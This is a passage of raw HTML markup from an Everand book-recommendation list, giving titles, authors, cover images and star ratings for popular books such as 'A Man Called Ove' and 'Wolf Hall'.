data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/688625676/Viet-Thanh-Nguyen" target="_blank">Viet Thanh Nguyen</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="visually_hidden">Rating: 4.5 out of 5 stars</span></div><div class="_1c33kx">4.5/5 (122)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/224426877/Angela-s-Ashes-A-Memoir" target="_blank"><span class="visually_hidden">Angela's Ashes: A Memoir</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/224426877/149x198/67b53f7428/1718631569?v=1" srcSet="https://imgv2-2-f.scribdassets.com/img/word_document/224426877/298x396/61c4862b68/1718631569?v=1 2x" alt="Angela's Ashes: A Memoir" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span 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0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Brooklyn: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/684985070/Colm-Toibin" target="_blank">Colm Tóibín</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span 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class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Little Book of Hygge: Danish Secrets to Happy Living</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/656546239/Meik-Wiking" target="_blank">Meik Wiking</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 3.5 out of 5 stars</span></div><div class="_1c33kx">3.5/5 (403)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/235411767/A-Man-Called-Ove-A-Novel" target="_blank"><span class="visually_hidden">A Man Called Ove: A Novel</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/235411767/149x198/ce356815f8/1718632206?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/235411767/298x396/a289a2fc2a/1718632206?v=1 2x" alt="A Man Called Ove: A Novel" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">A Man Called Ove: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/683814850/Fredrik-Backman" target="_blank">Fredrik Backman</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span 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2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The World Is Flat 3.0: A Brief History of the Twenty-first Century</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/687127844/Thomas-L-Friedman" target="_blank">Thomas L. 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src="https://imgv2-1-f.scribdassets.com/img/word_document/224326250/149x198/f1e7bf86b3/1701281268?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/224326250/298x396/67d6eee06a/1701281268?v=1 2x" alt="Steve Jobs" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Steve Jobs</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/683814325/Walter-Isaacson" target="_blank">Walter Isaacson</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star 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8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Art of Racing in the Rain: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/696787006/Garth-Stein" target="_blank">Garth Stein</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 4 out of 5 stars</span></div><div class="_1c33kx">4/5 (4208)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/163657166/A-Tree-Grows-in-Brooklyn" target="_blank"><span class="visually_hidden">A Tree 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1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">A Tree Grows in Brooklyn</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/709859210/Betty-Smith" target="_blank">Betty Smith</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="visually_hidden">Rating: 4.5 out of 5 stars</span></div><div class="_1c33kx">4.5/5 (1929)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/419930541/The-Yellow-House-A-Memoir-2019-National-Book-Award-Winner" target="_blank"><span class="visually_hidden">The Yellow House: A Memoir (2019 National Book Award Winner)</span></a><div class="thumbnail_and_info"><img src="https://imgv2-2-f.scribdassets.com/img/word_document/419930541/149x198/941121db9b/1702813542?v=1" srcSet="https://imgv2-2-f.scribdassets.com/img/word_document/419930541/298x396/327f81adb3/1702813542?v=1 2x" alt="The Yellow House: A Memoir (2019 National Book Award Winner)" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Yellow House: A Memoir (2019 National Book Award Winner)</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/469606521/Sarah-M-Broom" target="_blank">Sarah M. Broom</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 4 out of 5 stars</span></div><div class="_1c33kx">4/5 (98)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/244157917/Yes-Please" target="_blank"><span class="visually_hidden">Yes Please</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/244157917/149x198/ce51d31665/1719830362?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/244157917/298x396/d0cbd421a3/1719830362?v=1 2x" alt="Yes Please" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Yes Please</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/655441200/Amy-Poehler" target="_blank">Amy Poehler</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 4 out of 5 stars</span></div><div class="_1c33kx">4/5 (1903)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/225916486/A-Heartbreaking-Work-Of-Staggering-Genius-A-Memoir-Based-on-a-True-Story" target="_blank"><span class="visually_hidden">A Heartbreaking Work Of Staggering Genius: A Memoir Based on a True Story</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/225916486/149x198/ceefd53ff2/1710801410?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/225916486/298x396/3fda0d41f4/1710801410?v=1 2x" alt="A Heartbreaking Work Of Staggering Genius: A Memoir Based on a True Story" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">A Heartbreaking Work Of Staggering Genius: A Memoir Based on a True Story</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/684985077/Dave-Eggers" target="_blank">Dave Eggers</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 3.5 out of 5 stars</span></div><div class="_1c33kx">3.5/5 (231)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/224410295/Team-of-Rivals-The-Political-Genius-of-Abraham-Lincoln" target="_blank"><span class="visually_hidden">Team of Rivals: The Political Genius of Abraham Lincoln</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/224410295/149x198/5f74dd59cd/1719951079?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/224410295/298x396/58644b8626/1719951079?v=1 2x" alt="Team of Rivals: The Political Genius of Abraham Lincoln" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Team of Rivals: The Political Genius of Abraham Lincoln</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/683814521/Doris-Kearns-Goodwin" target="_blank">Doris Kearns Goodwin</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="visually_hidden">Rating: 4.5 out of 5 stars</span></div><div class="_1c33kx">4.5/5 (234)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/316391232/The-Woman-in-Cabin-10" target="_blank"><span class="visually_hidden">The Woman in Cabin 10</span></a><div class="thumbnail_and_info"><img src="https://imgv2-2-f.scribdassets.com/img/word_document/316391232/149x198/50fd0ecce1/1716397985?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/316391232/298x396/f55471760a/1716397985?v=1 2x" alt="The Woman in Cabin 10" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Woman in Cabin 10</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/683814867/Ruth-Ware" target="_blank">Ruth Ware</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 3.5 out of 5 stars</span></div><div class="_1c33kx">3.5/5 (2522)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/182560283/Wolf-Hall-A-Novel" target="_blank"><span class="visually_hidden">Wolf Hall: A Novel</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/182560283/149x198/0601b1931c/1719547036?v=1" srcSet="https://imgv2-2-f.scribdassets.com/img/word_document/182560283/298x396/f6a21d4103/1719547036?v=1 2x" alt="Wolf Hall: A Novel" aria-label="book" class="thumbnail_img"/><div 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style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Wolf Hall: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/684981840/Hilary-Mantel" target="_blank">Hilary Mantel</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 4 out of 5 stars</span></div><div class="_1c33kx">4/5 (3973)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/387826985/Fear-Trump-in-the-White-House" target="_blank"><span class="visually_hidden">Fear: Trump in the White House</span></a><div class="thumbnail_and_info"><img src="https://imgv2-2-f.scribdassets.com/img/word_document/387826985/149x198/51575e1763/1702508736?v=1" srcSet="https://imgv2-2-f.scribdassets.com/img/word_document/387826985/298x396/3d168969ec/1702508736?v=1 2x" alt="Fear: Trump in the White House" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Fear: Trump in the White House</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/683815807/Bob-Woodward" target="_blank">Bob Woodward</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 3.5 out of 5 stars</span></div><div class="_1c33kx">3.5/5 (738)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/224419023/John-Adams" target="_blank"><span class="visually_hidden">John Adams</span></a><div class="thumbnail_and_info"><img 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0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 